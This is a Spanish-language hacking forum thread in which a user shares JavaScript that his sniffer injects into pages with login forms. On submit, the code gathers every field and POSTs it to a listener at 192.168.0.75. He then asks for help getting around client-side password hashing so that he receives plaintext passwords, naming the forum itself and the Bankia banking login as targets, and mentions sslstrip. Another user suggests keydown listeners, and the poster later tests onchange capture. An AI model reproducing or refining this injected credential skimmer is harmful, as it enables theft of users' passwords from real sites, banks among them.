javascript bypassear hash de un formulario

Iniciado por Kaxperday, 24 Julio 2016, 13:10 PM

0 Miembros y 1 Visitante están viendo este tema.

Kaxperday

Buenas,

Ya tengo el sniffer que inyecta código javascript en webs con formularios, y son solo esos los datos HTTP que sniffea la aplicación, antes sniffaba todos los datos HTTP POST urlenconded, pero había muchos datos de aplicaciones en segundo plano que sniffaba y que no interesaban que llenaban los logs inútilmente, además hay páginas que mandan gran cantidad de datos en ese tipo de POST y quedaban logueados ocupando espacio en el archivo, así que me decanté por usar inyección de javascript y enviar los datos con post desde javascript, así solo obtenemos datos de formularios, y además podemos eliminar variables excesivamente grandes que no nos sirven del formulario, puesun user pass no creo que tenga 33000 caracteres por ejemplo.

El problema por el que abro el hilo es que he probado inyectando javascript haciendo poniendo un evento al submit que cuando se pulse envie la información de sus imput hide, algo que llega sin problema al server y lo logueo, PERO hay páginas como este foro o bankia que hace de la password un hash, por lo que no se puede ver, lo que quiero es con javascript saltar ese hash, y que aparezca todo de los imput text en texto plano.

Os dejo el código en javascript que hace de listener para capturar los form, y a ver que me podéis sugerir para bypassear el hash de la contraseña, algo que debe ocurrir, pero a lo que debemos adelantarnos con nuestro javascript.

Código (javascript) [Seleccionar]

function logger()
{
var forms = parent.document.getElementsByTagName("form");

for(i=0; i<forms.length; i++)
{
forms[i].addEventListener('submit', function()
{
var s= "";
var forms = parent.document.getElementsByTagName("form");

for(x=0; x<forms.length; x++)
{
var elements = forms[x].elements;
for(e=0;e<elements.length;e++)
{
s+= elements[e].name + "=" + elements[e].value + "|";
}
send(s);
}
attachForm(s);
}, false);
}
}

function send(s)
{
   var r = new XMLHttpRequest();
   r.open( "POST", "http://192.168.0.75:10000", true );
   r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
   r.send(s);
}


Este es el codigo que se inyecta en las páginas con formulario y cuando pulsan submit envia los datos al servidor, pero quiero que lo haga adelantandose al cifrado del hash de la password para que la password cuando me llegue al server me llegue en texto plano y no con asteriscos o con hash.

Las funciones las inyecto al final del head y la llamada al logger al final del body.

La gracia es que a veces funciona y otras no, supongo que será porque se ejecutará antes el javascript de cifrar que el mio unas veces y otra será al reves, ¿como puedo dar prioridad a mi javascript?.

Saludos y gracias.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

engel lex

Por cada input crear elemento input type=hide, name=nombre original + hide


por cada input  listener on keydown y colocar las key capturadas en el listener creado para tal
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Kaxperday

Cita de: engel lex en 24 Julio 2016, 13:56 PM
Por cada input crear elemento input type=hide, name=nombre original + hide


por cada input  listener on keydown y colocar las key capturadas en el listener creado para tal

Hola Engelx, siento responder tan tarde, he meditado sobre tu idea y por un lado me parece buena pero con algunos inconvenientes.

La idea que dices es meter unos imput y poner unos listener en las textbox, pero ese listener "onkeydown" sino me equivoco es si presiona una tecla (rollo keylogger) o si se introduce un caracter en el textbox, si por ejemplo se hace un corta pega ¿lo capturaría?, lo ideal sería capturar los datos justo cuando da al submit, pero antes de que se produzca el hash, adelantarse al hash.

De todas formas veo que javascript puede tener mucho juego en el sniffer, pues permite filtrar los datos http que nos interesan, con este metodo si sale bien bypassearia el hash, y ademas se pueden inyectar hasta links de publicidad... etc.

Por cierto, en javascript ¿no hay variables static? pues digo en vez de guardarlo en un imput hide, ¿no será mejor dentro de la funcion de javascript poner una variable y en vez de crear el imput y acceder a el cada vez que se produzca el evento?, es que no se mucho de js, estaría bien también saberlo.

Bueno muchas gracias a todos, un saludo.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

engel lex

en este caso mas alla que la tecla, acuerda que puedes acceder al contenido de input (con "n" :p ), no tienes nada estatico, recueda que al recargar la pagina inicia un nuevo programa desde 0

el problema de hacer onsubmit es que no sabes si el hash fue hecho allí o mientras era ingresado, aunque eso tambien es cosa de analizar y ver cual es la situación mas apropiada
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Kaxperday

#4
Cita de: engel lex en 10 Agosto 2016, 14:30 PM
en este caso mas alla que la tecla, acuerda que puedes acceder al contenido de input (con "n" :p ), no tienes nada estatico, recueda que al recargar la pagina inicia un nuevo programa desde 0

el problema de hacer onsubmit es que no sabes si el hash fue hecho allí o mientras era ingresado, aunque eso tambien es cosa de analizar y ver cual es la situación mas apropiada

XD entonces creo será mejor descartar onkeydown, supongo que habrá más eventos para acceder al contenido de las textbox, habrá que probar hasta que suene la campana, según he leido se pueden crear variables estáticas en js públicas para todo el código, así pues puedo ahorrarme lo de los imputs, simplemente declarando una cadena estática para cada campo: http://stackoverflow.com/questions/1535631/static-variables-in-javascript

Ahora bien, tiene que haber otra forma de capturar el código del form antes de llamar al submit, ¿algún ontextboxevent o algo así? XD, ¡el tipico que cuando acaba de escribir en la cajetilla y la desmarca salta!, teniendolas actualizadas así en todo momento user y pass, para cuando llegue el submit mandarlas.

Algo tendrá que haber ;)

Aunque es muy escaso lo que se de javascript, creo que se tiene que poder hacer con dos arrays estáticos, uno que almacene cada form y otro que almacene los imputs de cada form, luego sería poner a las textbox u otros elementos que nos interesen el evento onchange (quizás con el se pueda hacer) para actualizar el valor de ese imput en todo momento (esperemos no haya hash sino habrá que buscarse otro método), finalmente cuando se llame al submit del form se mandarán el valor de los imputs asociado a ese submit, ¿qué os parece?, programarlo con javascript será todo un desafío XD.

Bueno el evento de onchange va a la perfeccion como esperaba:

Código (javascript) [Seleccionar]

<!DOCTYPE html>
<html>
<body>

<form action="demo_form.asp">
 Username: <input type="text" id="user" onchange="getUser()" name="user"><br>
 Password: <input type="text" id="pass" onchange="getPass()" name="pass"><br>
 <input type="submit" value="Submit">
</form>

<p>Esto es una prueba</p>

<p id="demo"></p>

<script>
function getUser() {
   var user= document.getElementById("user").value;
   document.getElementById("demo").innerHTML = "User: " + user;
}
</script>

<script>
function getPass() {
   var pass= document.getElementById("pass").value;
   document.getElementById("demo").innerHTML = "Pass: " + pass;
}
</script>

</body>
</html>


Pruébese en http://www.w3schools.com/tags/tryit.asp?filename=tryhtml_form_submit

Probare a inyectarlo en el login de foro.elhacker.net a ver si me sale con hash o no hehehe, (lo dudo) XD.

Ya veo la causa del hash hehehe lo que quería ver: onsubmit="hashLoginPassword(this, '513ce3346a38068415afb496fafc1906');

Saludos.

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#5
Buenas me pasaba por aqui porque me he dado cuenta que hay páginas que no utilizan formularios para capturar los datos y enviarlos, sobretodo las más seguras or lo tanto en aquellos casos el javascript no funcionaría, como pasa con bakia:

https://www.bankia.es/es/particulares/acceso_clientes

Podemos ver el login no es un formulario, seguramente sea todo javascript y mande los datos con un xmlrequest que lo desconozco, esto sería difícil de bypassear sobretodo si ese xmlrequest este cifrado y lo mande a un link https, en ese caso el sslstrip no se daría cuenta pero esto ya son casos ínfimos.

¿A alguien se le ocurre alguna idea para capturar los datos en estos casos?. ¿Cual es la mejor manera, seguir apostando por javascript (que en estos casos no se como hacer para capturar los datos puesto que no hay formulario), o capturar toda la request con el hash?

Mirando me he dado cuenta que si que hay formulario pero lo genera el navegador, supongo que de un javascript, que nos es indiferente pues no nos aparecería tampoco en el código de la página.

Se me ha ocurrido crear un javascript que se cargue al final y que una vez se haya generado ese formulario por el navegador el javascript se encargue de modificar el código (no creo que se pueda) o al menos intentar capturar los imputs, con el onchange puede funcionar, pero debe de ser algo que funcione para todas las webs.. incluso para las que no usan javascript algo debe de haber también.

Saludos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.